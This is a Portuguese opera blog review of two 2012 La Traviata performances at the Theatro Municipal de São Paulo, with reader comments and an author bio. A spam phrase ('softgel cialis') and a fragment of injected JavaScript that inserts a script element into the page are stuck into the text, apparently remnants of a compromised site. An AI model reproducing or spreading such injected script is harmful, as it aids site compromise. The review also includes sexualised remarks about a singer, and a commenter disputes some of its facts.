Crítica

“La traviata”, de Verdi, em São Paulo: 22 e 25.03

Dá até para se sentir em Londres com a La Traviata do Theatro Municipal SP – 22.03.2012

A récita de 22.03.2012

A obra “A Dama das Camélias”, de Alexandre Dumas, originou uma grande ópera, La Traviata, composta por Giuseppe Verdi no século XIX. Passam os séculos e a música dessa ópera continua e continuará emocionando. La Traviata é sinônimo de teatro lotado, de lágrimas nos olhos e de emoções que afloram a todo instante.

O Theatro Municipal de São Paulo acerta em montar esse título e marca um gol de placa ao fazer onze récitas. Isso dá maiores possibilidades para um maior número de pessoas assistirem. Nessa semana, o maior teatro paulistano, anunciou sua interessante temporada. Tem muita coisa boa para esse ano, para os amantes da ópera títulos exóticos e raramente apresentados. Para os menos entendidos, o mais conhecido é a La Traviata mesmo.

O minimalismo está na moda, não sei se é por economia de recursos ou os diretores acham o máximo. Cenários andam escassos, toda ação gira em torno do psicológico dos personagens. Foi essa a concepção de Daniele Abbado, minimalista e com soluções já manjadas de outras apresentações realizadas pelo mundo afora. O minimalismo extremo chega a confundir o público.

Violetta, a heroína da ópera (amo essa mulher, pena que ela sempre morre no final) lê a carta no terceiro ato, mas, na concepção da direção, não existe a carta, a personagem a recita sem nada nas mãos. Quem conhece profundamente a ópera sabe que é uma carta, quem não conhece se confunde. Colocar minha amada Violetta no início do segundo ato junto com seu amado gera mais confusão, esse recurso ja foi utilizado na La Traviata de Viena com Netrebko e Villazon.  Algumas derrapadas não tiram o mérito do diretor, que concebeu uma versão moderna da obra, antenado com o que acontece em outros teatros líricos. Ideias inspiradas em produções de diferentes títulos, uma colcha de retalhos operística, nada de novo ou inspirador.

O cenário de Angelo Linzalata é um vazio em todos os atos, inclinado ( já vi uma Cavalleria Rusticana com cenário inclinado, Teatro Alfa, 2000)  onde predomina o negro. As movimentações dos solistas e do coro são deveras interessantes. Os figurinos são modernos e seguem a ideia central de uma La Traviata atual.

Irina Dubrovskaya é um jovem soprano de grande beleza, todo marmanjo, casado ou não, fica babando com a boniteza da moça. Quem não quer convidar essa gata para uma noitada, eu quero, só falta ela aceitar. Toda a beleza da moça não foi suficiente para  uma grande Violetta: sua voz é lírica, que seduz como um belo por do sol, um tom que beira ao angelical e seu timbre é luminoso e penetrante, mas sua voz carece de volume e de peso para uma grande Violetta. Irina tem técnica segura, foge das coloraturas mais complexas, não tem os agudos potentes e sua voz é pequena demais para a personagem. Interpretação cênica louvável, canta corretamente, falta uma pegada italiana para ela ser uma grande Violetta.

Roberto di Biasio faz um interessante Alfredo, o amante da Violetta, com agudos limpos, muitas vezes potentes. Projeta a voz com força e segurança, errou feio na sua primeira intervenção do segundo ato, isso pode acontecer com qualquer um. Cenicamente, acompanha as firulas e as rápidas movimentações exigidas pela direção.  softgel cialis Paolo Coni faz um Giorgio Germont correto, de técnica apurada que expressa todas as nuances do pai que quer proteger a família. Sua voz não tem a grandeza necessária de um grande barítono,mas a compensação vem da impostação à moda italiana.

A Orquestra Sinfônica Municipal nas mãos de Abel Rocha esteve em excelente noite. Andamentos geralmente corretos e precisos e uma sonoridade ímpar, com volume na medida certa. Em algumas passagens, o caro maestro ajudou o soprano, foi um verdadeiro paizão da gata russa. Deixou os andamentos mais lentos para que o soprano cantasse com mais desenvoltura e facilidade. O Coral Lírico se apresentou como sempre, vozes uniformes, harmoniosas e sempre consistentes. Um grande coro, recheado de vozes com nível de solista, só faltam as oportunidades.

La traviata: uma montagem interessante que entre mortos e feridos agrada ao grande público. Juntamente com a ópera Magdalena de Villa-Lobos apresentada em fevereiro nos faz sentir que o Theatro Municipal de São Paulo está chegando ao nível dos grandes teatros europeus com suas produções. Dessa vez, eu me senti em Londres. Não percam as cenas dos próximos capítulos, comentários dos dois elencos que se apresentarão, em breve.

 

A récita de 25.03.2012

Festival de aborrecimentos: La traviata, Theatro Municipal de SP

Dias há em que o público do Theatro Municipal de São Paulo se comporta como se estivesse no Scala de Milão. O silêncio é sepulcral e se aproveita toda a música com prazer e emoção. Em outros dias, porém, a coisa desanda, mas até o grande Homero às vezes cochila. A récita da ópera La Traviata do dia 25/03/2012  foi um festival de aborrecimentos, uma senhora ou moça, não vi quem era, resolveu cantarolar todo o primeiro ato. O público paga para assistir aos cantores. Celulares tocaram diversas vezes, pessoas se levantavam e as poltronas do teatro rangiam com agudos estridentes. Conversas do público passaram a ser rotina. Lamentável!

O soprano Adriane Queiroz mostrou uma Violeta madura, uma mulher realizada. Sua voz é pura potência, um fraseado correto e  timbre escuro. O problema são os agudos, às vezes ásperos e muitas vezes forçados  e agressivos. Penou nas coloraturas, forçou ao limite para atingir as notas. Sua atuação cênica regular não convence, uma interpretação contida e travada. Um soprano convencional.

Marcello Vanucci imprimiu belos agudos para Alfredo, cantou em casa, com desenvoltura  e facilidade. Voz limpa e clara aliada a uma atuação cênica precisa. Qualidade em todos os quesitos do início ao fim da récita. Grande tenor.

O barítono Rodolfo Giulianni tem uma voz pequena, seu timbre é deveras interessante, claro e consistente.  Fez um Goirgio Germont comum, sem grande expressão. Os aplausos magros são um sintoma disso.

A segunda cena do segundo ato da ópera La Traviata mostra uma grande festa. A ideia do diretor colocar máscaras em todos foi interessante, a encrenca foram os dançarinos. Descoordenados em todos os passos em uma coreografia de péssimo gosto. Se eu estivesse num rega bofe desses, sairia à francesa.

Ninguém é perfeito: sem o programa na mão imaginei que Daniele Abaddo fosse mulher na crítica publicada no dia 23/03/2012, quebrei a cara. Amigos me chamaram a atenção e corrigi rapidinho no blog, felizmente meus textos são publicados em diversos outros sítios e a lambança ja estava feita.  Pessoas que estiveram na récita do dia 23/03/2012 relataram algumas vaias misturadas com aplausos no baixar das cortinas do primeiro ato. Sinal que a galera não digeriu bem essa La Traviata.

 

Ali Hassan Ayachedocument.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);

6 Comments

  1. Ali, apenas três correções.
    1 – A Traviata em que Violetta aparece no início do segundo ato com Netrebko e Villazon não é a de Viena, é a de Salzburgo. Informações erradas assim fazem sua crítica perder a credibilidade.

    2 – Daniele é um homem, um Diretor e não uma Diretora.

    3 – O tamanho da voz da Irina não quer dizer nada porque ela tem o que é necessário, projeção. No segundo e terceiro atos, sua voz tem a projeção correta e o volume e peso coerentes com o tipo de soprano que ela é.

    Ao invés de escrever opiniões pessoais, procure se guiar pelos fatos do que você viu e ouviu, não pelo que você acha que é certo ou errado.

    Faça críticas coerentes.

  2. Não entendo de ópera, mas gosto muito da La Traviata. Achei essa crítica excelente na forma como foi escrita, de linguagem fácil e agradável.

    Não vejo necessidade de fazer um comentário criticando de forma destrutiva, corrigindo o autor. É legal alertar o autor sobre os erros, mas não corrigir a sua forma de escrever.

    A música erudita já é tão pouco conhecida e de difícil entendimento para os menos instruídos. Pra que deixá-la mais difícil?

  3. Estas críticas são questionáveis. Vão pelo lado pessoal, analisando o físico das cantoras, atraentes ou não, insinuante ou não. O que interessa é a voz e o seu desempenho na ópera, o resto é balela. Ninguém questionava o físico de Montserrat Caballé, ou de Pavarotti…. Analise outros fatores, assim você não merece crédito.

  4. Não dá pra ter crédito nestas críticas. Fui e discordo dele. Gostei muito da cantora Irina e do tenor.

  5. Esses cenários paupérrimos estão sendo vaiados em todo o mundo! Os libretos precisam ser respeitados!

  6. Ali Hassan, sou formanda da Pós-graduação em cenografia e figurino da Belas Artes, e meu TCC é sobre a Òpera “La Traviata” estava fazendo pesquisa e achei sua crítica, e achei muito interessante quando questionou o exausto minimalismo nas grandes produções, pois também me questiono quanto a isso. Gostaria de conversar mais com você sobre, se tiver interesse em me ajudar entre em contato comigo por e-mail, pois procurei no site e não tive a felicidade de encontrar.
    desde já agradeço e obrigada por expor sua opinião!

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Ali Hassan Ayache
Bacharel em Geografia pela USP. Apreciador de ópera, balé e música clássica. Ativo no meio musical, mantém o blog http://verdi.zip.net/. Escreve críticas, divulga eventos, entrevista personalidades e resenha óperas e balés em DVD.